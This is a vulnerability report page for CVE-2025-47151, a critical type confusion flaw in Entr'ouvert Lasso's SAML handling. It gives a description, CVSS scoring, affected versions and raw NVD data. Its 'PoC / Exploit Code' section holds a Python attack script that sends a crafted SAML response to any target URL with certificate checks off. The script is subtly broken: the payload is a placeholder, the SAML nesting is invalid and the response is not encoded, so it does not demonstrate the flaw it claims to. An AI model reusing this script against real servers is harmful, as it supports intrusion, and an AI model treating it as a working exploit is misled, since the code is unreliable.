Security Vulnerability Report
中文
CVE-2025-47151 CVSS 9.8 CRITICAL

CVE-2025-47151

Published: 2025-11-05 15:15:39
Last Modified: 2025-11-07 19:53:04

Description

A type confusion vulnerability exists in the lasso_node_impl_init_from_xml functionality of Entr'ouvert Lasso 2.5.1 and 2.8.2. A specially crafted SAML response can lead to an arbitrary code execution. An attacker can send a malformed SAML response to trigger this vulnerability.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:entrouvert:lasso:2.5.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:entrouvert:lasso:2.8.2:*:*:*:*:*:*:* - VULNERABLE
Entr'ouvert Lasso 2.5.1
Entr'ouvert Lasso 2.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-47151 PoC - Malformed SAML Response for Lasso Type Confusion Note: This is a conceptual PoC for educational purposes only. """ import xml.etree.ElementTree as ET from defusedxml import ElementTree as SafeET def generate_malformed_saml_response(): """ Generate a malformed SAML response to trigger type confusion in lasso_node_impl_init_from_xml function. """ # SAML Response namespace samlp_ns = "urn:oasis:names:tc:SAML:2.0:protocol" saml_ns = "urn:oasis:names:tc:SAML:2.0:assertion" # Create malformed SAML Response with type confusion elements saml_response = f""" <samlp:Response xmlns:samlp="{samlp_ns}" xmlns:saml="{saml_ns}" ID="_test123" Version="2.0" IssueInstant="2025-01-01T00:00:00Z"> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_assertion456" Version="2.0" IssueInstant="2025-01-01T00:00:00Z"> <saml:Issuer>https://attacker.example.com</saml:Issuer> <saml:Subject> <saml:NameID>[email protected]</saml:NameID> </saml:Subject> <!-- Malformed elements to trigger type confusion --> <saml:Conditions NotBefore="2025-01-01T00:00:00Z" NotOnOrAfter="2025-12-31T23:59:59Z"> <!-- Type confusion payload in AttributeStatement --> <saml:AttributeStatement> <saml:Attribute Name="groups"> <saml:AttributeValue> <!-- Crafted payload targeting lasso_node_impl_init_from_xml --> TYPE_CONFUSION_PAYLOAD_HERE </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Conditions> <!-- Additional malformed XML structure --> <saml:AuthnStatement AuthnInstant="2025-01-01T00:00:00Z"> <saml:AuthnContext> <saml:AuthnContextClassRef> urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport </saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </samlp:Response> """ return saml_response def exploit(target_url): """ Send malformed SAML response to target. """ import requests saml_response = generate_malformed_saml_response() headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'SOAPAction': 'http://schemas.xmlsoap.org/soap/envelope/', } # Send crafted SAML response data = { 'SAMLResponse': saml_response, 'RelayState': 'https://target.example.com/dashboard' } try: response = requests.post(target_url, data=data, headers=headers, verify=False, timeout=30) return response.text except requests.exceptions.RequestException as e: return f"Request failed: {str(e)}" if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_47151_poc.py <target_url>") print("Example: python cve_2025_47151_poc.py https://vulnerable-server/saml/acs") sys.exit(1) target = sys.argv[1] print(f"[*] Sending malformed SAML response to {target}") result = exploit(target) print(f"[*] Response: {result[:500]}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-47151", "sourceIdentifier": "[email protected]", "published": "2025-11-05T15:15:39.183", "lastModified": "2025-11-07T19:53:04.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A type confusion vulnerability exists in the lasso_node_impl_init_from_xml functionality of Entr&#39;ouvert Lasso 2.5.1 and 2.8.2. A specially crafted SAML response can lead to an arbitrary code execution. An attacker can send a malformed SAML response to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:entrouvert:lasso:2.5.1:*:*:*:*:*:*:*", "matchCriteriaId": "7177DC8A-9874-45BA-BC80-17604D8A0875"}, {"vulnerable": true, "criteria": "cpe:2.3:a:entrouvert:lasso:2.8.2:*:*:*:*:*:*:*", "matchCriteriaId": "6418EA3D-B50B-4F83-AA49-D2E2C2710DEA"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2193", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2193", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}